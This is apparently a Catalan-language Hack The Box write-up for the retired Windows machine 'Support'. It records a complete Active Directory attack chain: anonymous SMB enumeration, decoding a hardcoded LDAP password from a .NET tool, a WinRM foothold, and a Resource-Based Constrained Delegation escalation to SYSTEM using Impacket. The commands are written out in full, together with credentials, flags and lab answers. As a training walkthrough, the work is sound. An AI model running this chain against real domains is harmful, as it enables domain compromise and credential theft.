



HACK THE BOX · WINDOWS

Support

Informe tècnic complet ·
traçabilitat reproduïble

Màquina Support resolta

HTB Support · 2026-05-03

Màquina	Support
Plataforma	Hack The Box
Estat	Retired
Dificultat	Easy
Sistema	Windows
Data	2026-05-03
Autor	Ramon Santos Sabarich / r4ms4nt



Informe tècnic normalitzat per a arxivament,
consulta i traçabilitat.

GUIA DE LECTURA

Índex

Informe tècnic final de la màquina Support. El document conserva la seqüència tècnica, les comandes, les evidències i les lliçons reutilitzables de la resolució en laboratori.

- 1. Introducció del cas
 - Resultat final
- 2. Preparació i arrencada
- 3. Enumeració inicial de ports
 - Lectura tècnica
 - Lliçó reutilitzable
- 4. Resolució local de noms
 - Per què era important
- 5. Enumeració SMB
 - Interpretació
- 6. Inspecció del share support-tools
 - Lectura del resultat
 - Lliçó reutilitzable
- 7. Validació local de l'artefacte
 - Extracció i tipus del binari
 - Interpretació
- 8. Revisió de configuració del binari
 - Decisió
- 9. Extracció de cadenes de UserInfo.exe
 - Lectura tècnica
 - Intent descartat: monodis
- 10. Recuperació de la contrasenya LDAP
 - Interpretació
- 11. Validació del bind LDAP
 - Lectura del resultat
- 12. Consulta dirigida a l'usuari support
 - Interpretació
 - Lliçó reutilitzable
- 13. Accés WinRM i user flag
 - Tancament de fase user
- 14. Enumeració post-foothold
 - Interpretació
- 15. Validació de ms-DS-MachineAccountQuota
 - Lectura tècnica
- 16. Validació de permisos sobre l'objecte DC
 - Interpretació
- 17. Estat inicial de l'atribut RBCD
 - Per què es va fer
- 18. Creació d'un compte d'equip controlat
 - Lectura de l'error
 - Validació en AD
- 19. Configuració de Resource Based Constrained Delegation
 - Interpretació
- 20. Obtenció del tiquet Kerberos com a Administrator
 - Lectura tècnica
- 21. Ús del tiquet amb Impacket i shell SYSTEM
 - Lectura de l'error
- 22. Root flag
- 23. Resum tècnic final
 - Cadena validada completa
 - Flags
- 24. Preguntes de laboratori resoltes
- 25. Lliçons reutilitzables
 - 25.1. Un controlador de domini es reconeix pel conjunt, no per un port aïllat
 - 25.2. SMB anònim continua sent una font crítica de context
 - 25.3. En un share d'eines, allò important sol ser el que no encaixa

- 25.4. Els binaris .NET petits són excel·lents candidats per a anàlisi estàtica
- 25.5. Una credencial no compta fins que es valida
- 25.6. Els atributs LDAP descriptius poden contenir secrets
- 25.7. L'escalada en AD s'ha de validar per prerequisits
- 25.8. El context d'execució importa
- 25.9. A Kerberos, el FQDN i l'SPN importen



Hack The Box — Support

Categoria: Easy Sistema: Windows / Active Directory Data de resolució: 2026-05-03 IP del laboratori: 10.129.230.181 Domini: support.htb Host: dc / dc.support.htb Resultat: user i root obtingudes

1. Introducció del cas

Support és una màquina Windows centrada en una cadena d'atac sobre Active Directory. La ruta completa no depèn d'una explotació web ni d'una vulnerabilitat per versió, sinó de diversos errors d'exposició i configuració que s'encadenen de manera molt neta:

```
SMB anònim
→ share no estàndard
→ eina interna .NET
→ credencial LDAP ofuscada
→ consulta LDAP autenticada
→ contrasenya a l'atribut info
→ WinRM com a usuari de domini
→ GenericAll sobre l'objecte DC
→ Resource Based Constrained Delegation
→ tiquet Kerberos com a Administrator
→ shell com a NT AUTHORITY\SYSTEM
```

El valor didàctic de la màquina és en la lectura ordenada de les evidències. Cada fase lliura una peça que justifica la següent. No s'arriba a root per força bruta ni per provar exploits a l'atzar, sinó per interpretar correctament serveis de domini, atributs LDAP, grups, ACLs i delegació Kerberos.

Resultat final

```
user flag: f6702c2f5fc70621f8bc10403281d32f
root flag: 7fa548191c427443fb2d2dd0381450db
```

2. Preparació i arrencada

El laboratori es va iniciar amb l'script propi **Inici-HTB**, utilitzat per fixar l'objectiu, preparar l'arbre de treball i llançar l'enumeració inicial. Aquest script no explota res; la seva funció és ordenar la fase d'arrencada perquè les decisions posteriors es basin en evidències i no en intuïcions.

Comanda d'inici:

```
Inici-HTB Support 10.129.230.181 easy
```

La comprovació inicial va confirmar connectivitat amb l'objectiu:

```
64 bytes from 10.129.230.181: icmp_seq=1 ttl=127 time=48.1 ms
```

L'estimació ràpida per TTL va apuntar a Windows:

```
10.129.230.181 (ttl -> 127): Windows
```

Aquesta estimació no es pren com una veritat absoluta, però orienta la lectura inicial. En aquest cas va quedar reforçada immediatament per l'escaneig de serveis, que va mostrar una superfície típica de controlador de domini.

3. Enumeració inicial de ports

El primer escaneig complet va localitzar els ports TCP oberts:

```
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49676,49681,49701
```

Després es va llançar l'escaneig de serveis sobre aquests ports. La sortida rellevant va ser:

```
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
```

```
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC; OS: Windows
```

També es va observar:

```
SMB signing enabled and required
```

Lectura tècnica

La combinació de 53, 88, 389, 445, 464, 636, 3268, 3269, 5985 i 9389 és un senyal molt fort d'Active Directory. El servei 5985 apareix com a HTTP, però en aquest context correspon a WinRM sobre Microsoft HTTPAPI. No es va obrir una branca web perquè no hi havia una aplicació web de negoci; el port 5985 era un component d'administració remota de Windows.

La superfície dominant va quedar classificada com:

```
AD / SMB / LDAP / Kerberos
```

Les branques secundàries es van anotar així:

```
WinRM → pendent de credencials
LDAP → pendent de bind útil o credencials
Kerberos → pendent d'usuaris vàlids
HTTPAPI 5985 → auxiliar, no web principal
```

Lliçó reutilitzable

En màquines Windows de domini, no tota resposta HTTP ha d'activar una branca web. Si el conjunt de ports crida controlador de domini, la prioritat ha de passar per SMB, LDAP, Kerberos i WinRM. Forçar WEB-BASE contra un Microsoft-HTTPAPI/2.0 Not Found hauria estat soroll metodològic.

4. Resolució local de noms

Abans de consultar serveis de domini, es va afegir resolució local per al domini i el controlador:

```
echo '10.129.230.181 support.htb dc.support.htb' | sudo tee -a /etc/hosts
```

Comprovació:

```
getent hosts support.htb
getent hosts dc.support.htb
```

Sortida:

```
10.129.230.181 support.htb dc.support.htb
10.129.230.181 support.htb dc.support.htb
```

Per què era important

En Active Directory, DNS i FQDN no són detalls decoratius. Kerberos, LDAP, WinRM i Impacket poden dependre del nom utilitzat. Treballar només per IP pot provocar errors de SPN, realm o resolució que semblin fallades de credencial quan en realitat són fallades de context.

5. Enumeració SMB

La primera validació útil va ser llistar shares SMB amb sessió anònima:

```
smbclient -L //support.htb/ -N
```

La sortida va mostrar sis recursos compartits:

```
Sharename Type Comment
-----
ADMIN$ Disk Remote Admin
C$ Disk Default share
```

```
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
```

El missatge posterior sobre SMB1 no invalidava l'enumeració:

```
Unable to connect with SMB1 -- no workgroup available
```

La llista de shares ja s'havia obtingut correctament per SMB modern. L'error corresponia a l'intent posterior de llistar el workgroup mitjançant SMB1.

També es va contrastar amb `netexec`:

```
netexec smb 10.129.230.181 -u '' -p '' --shares
```

L'eina va confirmar domini, host i null auth, tot i que va fallar en enumerar shares:

```
Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)
STATUS_ACCESS_DENIED
```

Interpretació

Els shares `ADMIN$`, `C$`, `IPC$`, `NETLOGON` i `SYSVOL` són esperables en un controlador de domini. El recurs que destacava era:

```
support-tools
```

Aquest nom no correspon a un share estàndard. A més, el seu comentari indicava que contenia eines de suport. El següent pas lògic era llistar-ne el contingut.

6. Inspecció del share support-tools

Es va llistar el contingut del share:

```
smbclient //support.htb/support-tools -N -c 'ls' | tee scans/smb_support-tools_ls.txt
```

El primer intent va produir un error local de `tee` perquè el directori `scans` encara no existia:

```
tee: scans/smb_support-tools_ls.txt: No existe el fichero o el directorio
```

Aquest error no afectava SMB ni el llistat remot. La sortida útil va ser:

```
7-ZipPortable_21.07.paf.exe
npp.8.4.1.portable.x64.zip
putty.exe
SysinternalsSuite.zip
UserInfo.exe.zip
windirstat1_1_2_setup.exe
WiresharkPortable64_3.6.5.paf.exe
```

Lectura del resultat

La majoria de fitxers eren eines públiques conegudes: 7-Zip, Notepad++, PuTTY, Sysinternals, WinDirStat i Wireshark. El fitxer que no encaixava amb aquest grup era:

```
UserInfo.exe.zip
```

La lectura va ser clara: el share barrejava instal·ladors públics amb una utilitat interna. En un entorn AD, una eina anomenada `UserInfo` podia contenir lògica de consulta d'usuaris o LDAP. Es va decidir descarregar-la per analitzar-la localment.

Descàrrega:

```
mkdir -p scans loot/smb_support-tools && smbclient //support.htb/support-tools -N -c 'get UserInfo.exe.zip'
loot/smb_support-tools/UserInfo.exe.zip'
```

Sortida:

```
getting file \UserInfo.exe.zip of size 277499 as loot/smb_support-tools/UserInfo.exe.zip
```

Lliçó reutilitzable

Quan un share conté moltes eines públiques i un únic artefacte propi, el fitxer intern sol ser més valuós que els instal·ladors grans. La pregunta no és només “què puc descarregar”, sinó “quin fitxer no encaixa amb la resta”.

7. Validació local de l'artefacte

Abans d'executar o descompilar res, es va registrar tipus, hash i contingut del ZIP:

```
file loot/smb_support-tools/UserInfo.exe.zip
sha256sum loot/smb_support-tools/UserInfo.exe.zip
unzip -l loot/smb_support-tools/UserInfo.exe.zip
```

Resultats clau:

```
Zip archive data, at least v2.0 to extract, compression method=deflate
```

```
e070ce95a8b30e126d7ae1803ea15c5a8e7d27b13fc670b3aaa69d7026c2bc97  loot/smb_support-tools/UserInfo.exe.zip
```

Contingut rellevant:

```
UserInfo.exe
CommandLineParser.dll
Microsoft.Bcl.AsyncInterfaces.dll
Microsoft.Extensions.DependencyInjection.Abstractions.dll
Microsoft.Extensions.DependencyInjection.dll
Microsoft.Extensions.Logging.Abstractions.dll
System Buffers.dll
System.Memory.dll
System.Numerics.Vectors.dll
System.Runtime.CompilerServices.Unsafe.dll
System.Threading.Tasks.Extensions.dll
UserInfo.exe.config
```

El ZIP contenia dotze fitxers i el binari principal era UserInfo.exe.

Extracció i tipus del binari

```
rm -rf loot/smb_support-tools/UserInfo_extracted && mkdir -p loot/smb_support-tools/UserInfo_extracted && unzip
-q loot/smb_support-tools/UserInfo.exe.zip -d loot/smb_support-tools/UserInfo_extracted && file
loot/smb_support-tools/UserInfo_extracted/UserInfo.exe && ls -la loot/smb_support-tools/UserInfo_extracted
```

La sortida de file va confirmar:

```
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
```

Interpretació

UserInfo.exe era un binari Windows .NET. Això era molt favorable per a l'anàlisi estàtica perquè els binaris .NET solen conservar noms de classes, mètodes, espais de noms i cadenes útils. No es va executar directament el binari com a primer pas; primer se'n va revisar la configuració i les cadenes.

8. Revisió de configuració del binari

Es va llegir el fitxer UserInfo.exe.config:

```
cat loot/smb_support-tools/UserInfo_extracted/UserInfo.exe.config
```

Contingut rellevant:

```
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <startup>
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
  </startup>
  <runtime>
    <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
      <dependentAssembly>
        <assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a"
          culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
      </dependentAssembly>
    </assemblyBinding>
  </runtime>
```

```
</configuration>
```

El `.config` no contenia credencials, endpoints ni paràmetres operatius. Només confirmava runtime `.NET Framework v4.8` i un `bindingRedirect`.

Decisió

El valor no era a la configuració, sinó a l'executable. La següent acció va ser extreure cadenes rellevants del binari.

9. Extracció de cadenes de UserInfo.exe

Es van buscar cadenes ASCII i UTF-16LE:

```
{ echo '[ASCII strings]'; strings -a loot/smb_support-tools/UserInfo_extracted/UserInfo.exe; echo '[UTF-16LE strings]'; strings -a -el loot/smb_support-tools/UserInfo_extracted/UserInfo.exe; } | tee loot/smb_support-tools/UserInfo_extracted/UserInfo.exe.strings.txt | grep -Ei 'ldap|support|password|protected|getpassword|directory|armando|0Nv|enc_|userinfo|finduser|getuser'
```

Sortida clau:

```
Protected
getPassword
enc_password
DirectorySearcher
FindUser
GetUser
System.DirectoryServices
LdapQuery
DirectoryEntry
C:\Users\0xdf\source\repos\UserInfo\obj\Release\UserInfo.pdb
0Nv32PTwgYjzg9/8j5TbmVPd3e7WhWwyuPsy076/Y+U193E
armando
LDAP://support.htb
support\ldap
[*] LDAP query to use:
Last Password Change:
```

Lectura tècnica

Aquesta sortida era molt rica. Permetia afirmar diversos fets:

- el binari utilitzava `System.DirectoryServices`;
- hi havia lògica LDAP (`LdapQuery`, `DirectoryEntry`, `DirectorySearcher`);
- el servidor LDAP era `LDAP://support.htb`;
- l'usuari de bind era `support\ldap`;
- existia una funció `getPassword` dins d'un component `Protected`;
- hi havia una variable `enc_password`;
- la cadena protegida era `0Nv32PTwgYjzg9/8j5TbmVPd3e7WhWwyuPsy076/Y+U193E`;
- apareixia la paraula `armando`, que encaixava com a clau o llavor d'ofuscació.

Intent descartat: monodis

Es va plantejar desassemblar el binari amb `monodis`, però l'eina no estava instal·lada:

```
zsh: command not found: monodis
```

No va caldre bloquejar la resolució en aquest punt. Amb les cadenes observades i el contrast amb la lògica coneguda del binari, el desxifrat es va reproduir localment en Python. En el document final es deixa `monodis` com a mètode alternatiu no utilitzat.

10. Recuperació de la contrasenya LDAP

El desxifrat es va reproduir amb Python:

```
python3 - << 'PY' | tee loot/smb_support-tools/UserInfo_extracted/ldap_password.txt
import base64
enc = "0Nv32PTwgYjzg9/8j5TbmVPd3e7WhWwyuPsy076/Y+U193E"
key = b"armando"
raw = base64.b64decode(enc)
password = bytes(
    b ^ key[i % len(key)] ^ 223
    for i, b in enumerate(raw)
)
```



```
).decode()  
print(password)  
PY
```

Sortida:

```
nvEfEK16^1aM4$e7AcLUf8x$tRWxPW01%lmz
```

Interpretació

La credencial recuperada va quedar associada a les dades observades al binari:

```
Host LDAP: support.htb  
Usuari LDAP: support\ldap  
Password LDAP: nvEfEK16^1aM4$e7AcLUf8x$tRWxPW01%lmz
```

La contrasenya no es va assumir com a vàlida només pel fet d'haver estat desxifrada. El següent pas va ser validar-la contra LDAP.

11. Validació del bind LDAP

Es va executar una consulta mínima de baix soroll per comprovar autenticació i context base:

```
ldapsearch -x \  
-H ldap://support.htb \  
-D 'support\ldap' \  
-w 'nvEfEK16^1aM4$e7AcLUf8x$tRWxPW01%lmz' \  
-s base namingContexts defaultNamingContext
```

Sortida:

```
defaultNamingContext: DC=support,DC=htb  
namingContexts: DC=support,DC=htb  
namingContexts: CN=Configuration,DC=support,DC=htb  
namingContexts: CN=Schema,CN=Configuration,DC=support,DC=htb  
namingContexts: DC=DomainDnsZones,DC=support,DC=htb  
namingContexts: DC=ForestDnsZones,DC=support,DC=htb  
result: 0 Success
```

Lectura del resultat

Aquest resultat va validar tres punts:

- 1. la contrasenya LDAP recuperada era correcta;
- 2. el servidor LDAP era el DC esperat;
- 3. el context base del domini era DC=support,DC=htb.

A partir d'aquí ja no es treballava amb una hipòtesi, sinó amb una credencial LDAP funcional.

12. Consulta dirigida a l'usuari support

No es va bolcar tot LDAP de manera indiscriminada. Es va fer una cerca dirigida a l'usuari `support`, perquè el nom de l'usuari era rellevant per a la màquina i la ruta esperada passava per localitzar atributs útils.

```
mkdir -p loot/ldap && ldapsearch -x \  
-H ldap://support.htb \  
-D 'support\ldap' \  
-w 'nvEfEK16^1aM4$e7AcLUf8x$tRWxPW01%lmz' \  
-b 'DC=support,DC=htb' \  
'(&(objectClass=user)(sAMAccountName=support))' \  
sAMAccountName cn name description info memberOf userPrincipalName distinguishedName \  
| tee loot/ldap/support_user.ldif
```

Sortida rellevant:

```
dn: CN=support,CN=Users,DC=support,DC=htb  
cn: support  
distinguishedName: CN=support,CN=Users,DC=support,DC=htb  
info: Ironside47pleasure40Watchful  
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb  
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb  
name: support  
sAMAccountName: support  
result: 0 Success
```

Interpretació

L'atribut que destacava era:

```
info: Ironside47pleasure40Watchful
```

info no és un atribut de contrasenya, però contenia una cadena amb format clar de contrasenya. A més, l'usuari support pertanyia a Remote Management Users, grup que permet accés remot per WinRM si la credencial és vàlida.

La pertinença a Shared Support Accounts es va anotar per a la fase d'escalada, però en aquell moment l'objectiu immediat era validar l'accés remot.

Lliçó reutilitzable

En AD, una credencial LDAP de baix privilegi pot tenir gran impacte si permet llegir atributs mal utilitzats. Camps aparentment descriptius com info o description no s'han d'ignorar: de vegades contenen secrets operatius.

13. Accés WinRM i user flag

Amb la contrasenya trobada a LDAP es va validar l'accés per WinRM:

```
evil-winrm -i support.htb -u support -p 'Ironside47pleasure40Watchful'
```

A la sessió remota:

```
whoami
```

Sortida:

```
support\support
```

Es van cometre dos errors menors propis de canviar de context de Linux a PowerShell:

```
id
ls -la
```

Tots dos van fallar perquè la sessió era PowerShell, no una shell Linux:

```
The term 'id' is not recognized...
A parameter cannot be found that matches parameter name 'la'.
```

Aquests errors no van afectar l'accés. Serveixen com a recordatori que el context de shell importa: Evil-WinRM entrega PowerShell sobre Windows.

La user flag es va llegir des de l'escriptori de l'usuari:

```
Get-Content C:\Users\support\Desktop\user.txt
```

Resultat:

```
f6702c2f5fc70621f8bc10403281d32f
```

Tancament de fase user

La cadena fins a user va quedar validada així:

```
SMB anònim
→ UserInfo.exe.zip
→ credencial LDAP support\ldap
→ LDAP autènticat
→ atribut info de l'usuari support
→ WinRM com support\support
→ user flag
```

14. Enumeració post-foothold

L'escalada no es va iniciar executant eines a l'atzar. Primer es va fixar context des de la sessió WinRM:

```
whoami /user
```

```
hostname
whoami /groups
```

Sortida rellevant:

```
User Name SID
=====
support\support S-1-5-21-1677581083-3380853377-188903654-1105
```

```
hostname: dc
```

Grups rellevants:

```
BUILTIN\Remote Management Users
NT AUTHORITY\Authenticated Users
SUPPORT\Shared Support Accounts
```

Interpretació

Remote Management Users explicava l'accés per WinRM. Authenticated Users era rellevant perquè, en molts dominis, permet crear comptes d'equip si ms-DS-MachineAccountQuota és més gran que zero. Shared Support Accounts era el grup no estàndard i es va convertir en el focus d'escalada.

15. Validació de ms-DS-MachineAccountQuota

Es va consultar l'atribut del domini que defineix quants comptes d'equip pot crear un usuari autènticat:

```
Get-ADObject -Identity ((Get-ADDomain).DistinguishedName) -Properties ms-DS-MachineAccountQuota | Select-Object DistinguishedName,ms-DS-MachineAccountQuota
```

Sortida:

```
DistinguishedName ms-DS-MachineAccountQuota
-----
DC=support,DC=htb 10
```

Lectura tècnica

ms-DS-MachineAccountQuota = 10 significa que els usuaris autènticats poden crear fins a deu comptes d'equip al domini. Això no dona root per si sol, però valida un prerequisit important per a una ruta de Resource Based Constrained Delegation.

16. Validació de permisos sobre l'objecte DC

Es va comprovar si el grup Shared Support Accounts tenia permisos sobre l'objecte del controlador de domini:

```
$dc = Get-ADComputer DC; Get-Acl ("AD:\" + $dc.DistinguishedName) | Select-Object -ExpandProperty Access |
Where-Object { $_.IdentityReference -match "Shared Support Accounts" } | Select-Object
IdentityReference,ActiveDirectoryRights,AccessControlType,InheritanceType
```

Sortida:

```
IdentityReference ActiveDirectoryRights AccessControlType InheritanceType
-----
SUPPORT\Shared Support Accounts GenericAll Allow All
```

Interpretació

GenericAll sobre un objecte d'equip en AD implica control complet sobre aquest objecte. Com que l'objecte era DC, i l'usuari support pertanyia al grup amb aquest permís, la via principal va passar a ser l'abús de permisos de domini.

La cadena validada era:

```
support\support
→ Shared Support Accounts
→ GenericAll sobre DC
→ possibilitat de modificar atributs de l'objecte DC
```

17. Estat inicial de l'atribut RBCD

Abans de modificar el domini, es va llegir l'estat inicial dels atributs rellevants:

```
Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount,msDS-AllowedToActOnBehalfOfOtherIdentity |
Select-Object Name,PrincipalsAllowedToDelegateToAccount,msDS-AllowedToActOnBehalfOfOtherIdentity
```

Sortida:

```
Name PrincipalsAllowedToDelegateToAccount msDS-AllowedToActOnBehalfOfOtherIdentity
-----
DC {}
```

Per què es va fer

Aquesta lectura no era explotació; era traçabilitat. Abans de canviar un atribut de delegació, convé registrar-ne l'estat previ. Així es pot demostrar què es va modificar i evitar confondre una configuració prèvia amb una acció del laboratori.

18. Creació d'un compte d'equip controlat

Per preparar RBCD calia un compte d'equip controlat. El primer intent es va executar per error dins d'Evil-WinRM:

```
addcomputer.py 'support.htb/support:Ironside47pleasure40Watchful' -dc-host dc.support.htb -computer-name
'R4M-SUP01$' -computer-pass 'R4mSup01Passw0rd!'
```

PowerShell va respondre:

```
The term 'addcomputer.py' is not recognized as the name of a cmdlet...
```

Lectura de l'error

L'error no significava que la tècnica fallés. Significava que `addcomputer.py` o `impacket-addcomputer` pertany a l'entorn atacant, no al PowerShell remot del DC. La comanda s'havia d'executar des de Parrot.

Execució correcta des de la màquina atacant:

```
cd /home/r4mon/pentest/targets/HTB/easy/Support
impacket-addcomputer 'support.htb/support:Ironside47pleasure40Watchful' -dc-ip 10.129.230.181 -computer-name
'R4M-SUP01$' -computer-pass 'R4mSup01Passw0rd!'
```

Sortida:

```
[*] Successfully added machine account R4M-SUP01$ with password R4mSup01Passw0rd!.
```

Validació en AD

Des d'Evil-WinRM es va comprovar que el compte existia:

```
Get-ADComputer -Identity 'R4M-SUP01' -Properties SamAccountName,ObjectSID | Select-Object
Name,SamAccountName,ObjectSID
```

Sortida:

```
Name SamAccountName ObjectSID
-----
R4M-SUP01 R4M-SUP01$ S-1-5-21-1677581083-3380853377-188903654-6101
```

19. Configuració de Resource Based Constrained Delegation

Amb el compte d'equip creat i validat, es va configurar RBCD sobre l'objecte DC:

```
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount 'R4M-SUP01$'
```

La comanda no va retornar sortida, cosa normal en PowerShell si no hi ha error. Per tant, es va verificar el canvi llegint l'atribut:

```
Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount | Select-Object
Name,PrincipalsAllowedToDelegateToAccount
```


Sortida:

```
Name PrincipalsAllowedToDelegateToAccount
-----
DC {CN=R4M-SUP01,CN=Computers,DC=support,DC=htb}
```

Interpretació

El DC va passar a permetre que el compte **R4M-SUP01\$** actués en el context de delegació configurat. Aquesta era la peça central de RBCD.

La cadena validada era:

```
R4M-SUP01$ creada
→ GenericAll permet modificar DC
→ DC autoritza R4M-SUP01$ per a delegació
→ es pot sol·licitar un tiquet S4U cap a un SPN del DC
```

20. Obtenció del tiquet Kerberos com a Administrator

Des de la màquina atacant es va sol·licitar un tiquet de servei cap a `cifs/dc.support.htb`, impersonant `Administrator` amb el compte d'equip controlat:

```
cd /home/r4mon/pentest/targets/HTB/easy/Support
impacket-getST -dc-ip 10.129.230.181 -spn cifs/dc.support.htb -impersonate Administrator
'support.htb/R4M-SUP01$:R4mSup01Passw0rd!'
```

Sortida:

```
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
```

Lectura tècnica

`S4U2self` i `S4U2Proxy` indiquen que es va completar la seqüència Kerberos necessària. El resultat important va ser:

```
Administrator.ccache
```

Aquest fitxer contenia el material Kerberos que Impacket podia usar per autenticar-se sense contrasenya mitjançant `-k -no-pass`.

21. Ús del tiquet amb Impacket i shell SYSTEM

El primer intent d'usar el tiquet es va llançar per error dins d'Evil-WinRM:

```
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass support.htb/Administrator@dc.support.htb
```

PowerShell va respondre:

```
The term 'KRB5CCNAME=Administrator.ccache' is not recognized...
```

Lectura de l'error

`KRB5CCNAME=...` és sintaxi de shell Linux per establir una variable d'entorn en l'execució d'una comanda. No pertany a PowerShell remot. A més, `Administrator.ccache` era a la màquina atacant, no al DC.

Execució correcta des de Parrot:

```
cd /home/r4mon/pentest/targets/HTB/easy/Support
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass -dc-ip 10.129.230.181
support.htb/Administrator@dc.support.htb
```

Sortida rellevant:

```
[*] Requesting shares on dc.support.htb....
[*] Found writable share ADMIN$
[*] Uploading file BBmdYhom.exe
[*] Opening SVCManager on dc.support.htb....
[*] Creating service Vfxw on dc.support.htb....
[*] Starting service Vfxw....
Microsoft Windows [Version 10.0.20348.859]
C:\Windows\system32>
```

Es va confirmar identitat i host:

```
whoami
hostname
```

Sortida:

```
nt authority\system
dc
```

22. Root flag

Des de la shell SYSTEM es va llegir la flag d'administrador:

```
type C:\Users\Administrator\Desktop\root.txt
```

Resultat:

```
7fa548191c427443fb2d2dd0381450db
```

La màquina va quedar resolta amb shell administrativa sobre el controlador de domini.

23. Resum tècnic final

Cadena validada completa

1. Inici-HTB confirma host Windows i superfície AD.
2. Nmap mostra DC amb DNS, Kerberos, LDAP, SMB, Global Catalog, WinRM i ADWS.
3. S'afegeix support.htb i dc.support.htb a /etc/hosts.
4. SMB anònim permet llistar shares.
5. support-tools destaca com a share no estàndard.
6. support-tools conté UserInfo.exe.zip.
7. Es descarrega i valida el ZIP.
8. UserInfo.exe s'identifica com a binari .NET.
9. UserInfo.exe.config no conté secrets.
10. strings revela LDAP://support.htb, support\ldap, enc_password, armando i getPassword.
11. Es reproduïx el desxifrat Base64 + XOR amb Python.
12. Es recupera la contrasenya LDAP.
13. LDAP bind funciona i retorna DC=support,DC=htb.
14. LDAP revela info: Ironside47pleasure40Watchful per a l'usuari support.
15. support pertany a Remote Management Users.
16. Evil-WinRM confirma accés com support\support.
17. S'obté user.txt.
18. whoami /groups confirma Shared Support Accounts i Authenticated Users.
19. ms-DS-MachineAccountQuota = 10.
20. Shared Support Accounts té GenericAll sobre DC.
21. L'atribut RBCD del DC està buit.
22. Es crea el compte d'equip R4M-SUP01\$.
23. Es configura PrincipalsAllowedToDelegateToAccount sobre DC.
24. S'obté Administrator.ccache amb impacket-getST.
25. S'usa KRB5CCNAME amb impacket-psexec.
26. S'obté shell com nt authority\system.
27. S'obté root.txt.

Flags

```
user.txt: f6702c2f5fc70621f8bc10403281d32f
root.txt: 7fa548191c427443fb2d2dd0381450db
```

24. Preguntes de laboratori resoltes

Durant la resolució es van contestar tasques intermèdies del laboratori:

How many shares is Support showing on SMB?
Resposta: 6

Which share is not a default share for a Windows domain controller?
Resposta: support-tools

Almost all of the files in this share are publicly available tools, but one is not. What is the name of that file?
Resposta: UserInfo.exe.zip

What is the hardcoded password used for LDAP in the UserInfo.exe binary?
Resposta: nvEfEK16^1aM4\$e7AcLUf8x\$tRWxPW01%lmz

Which field in the LDAP data for the user named support stands out as potentially holding a password?
Resposta: info

What open port on Support allows a user in the Remote Management Users group to run PowerShell commands and get an interactive shell?
Resposta: 5985

Bloodhound data will show that the support user has what privilege on the DC.SUPPORT.HTB object?
Resposta: GenericAll

A common attack with generic all on a computer object is to add a fake computer to the domain. What attribute on the domain sets how many computer accounts a user is allowed to create in the domain?
Resposta: ms-ds-machineaccountquota

What is the name of the script from Impacket that can convert that ticket to ccache format?
Resposta: ticketConverter.py

What is the name of the environment variable on our local system that we'll set to that ccache file to allow use of files like psexec.py with the -k and -no-pass options?
Resposta: KRB5CCNAME

25. Lliçons reutilitzables

25.1. Un controlador de domini es reconeix pel conjunt, no per un port aïllat

La presència simultània de DNS, Kerberos, LDAP, SMB, Global Catalog, WinRM i ADWS pesa molt més que qualsevol senyal aïllat. A Support, el port 5985 no justificava obrir una branca web; era WinRM.

25.2. SMB anònim continua sent una font crítica de context

L'exposició de shares no sempre lliura credencials directament. En aquest cas va lliurar una eina interna. Aquesta eina va ser el pont cap a LDAP.

25.3. En un share d'eines, allò important sol ser el que no encaixa

UserInfo.exe.zip destacava perquè no era una eina pública. Aquest criteri d'anomalia va permetre prioritzar-lo davant d'instal·ladors de gran mida i baix valor ofensiu.

25.4. Els binaris .NET petits són excel·lents candidats per a anàlisi estàtica

strings va revelar prou informació per orientar l'anàlisi: usuari LDAP, host LDAP, funció de contrasenya, cadena protegida i clau. Encara que eines com ILSpy o monodis poden aportar més precisió, no sempre són imprescindibles per avançar si l'evidència ja és clara i després es valida amb el servei real.

25.5. Una credencial no compta fins que es valida

La contrasenya recuperada del binari no es va tractar com a credencial vàlida fins que ldapsearch va retornar result: 0 Success i el defaultNamingContext correcte.

25.6. Els atributs LDAP descriptius poden contenir secrets

El camp info de l'usuari support contenia una contrasenya reutilitzable. Això demostra que l'enumeració LDAP ha de revisar atributs com info, description, memberOf, servicePrincipalName i altres camps de context.

25.7. L'escalada en AD s'ha de validar per prerequisits

La ruta RBCD es va construir per acumulació d'evidències:

```
support a Authenticated Users
→ MachineAccountQuota = 10
→ support a Shared Support Accounts
→ GenericAll sobre DC
→ atribut RBCD buit
→ creació d'equip
→ configuració de delegació
→ tiquet S4U
```

Cada peça es va validar abans de passar a la següent.

25.8. El context d'execució importa

Dos errors van ser útils didàcticament:

- intentar executar `impacket-addcomputer` dins d'Evil-WinRM;
- intentar usar `KRB5CCNAME=...` dins de PowerShell.

Tots dos errors ensenyen la mateixa lliçó: les eines i variables d'entorn s'han d'executar en l'entorn correcte. Impacket i `KRB5CCNAME` pertanyen a la màquina atacant Linux; Evil-WinRM és una sessió PowerShell remota.

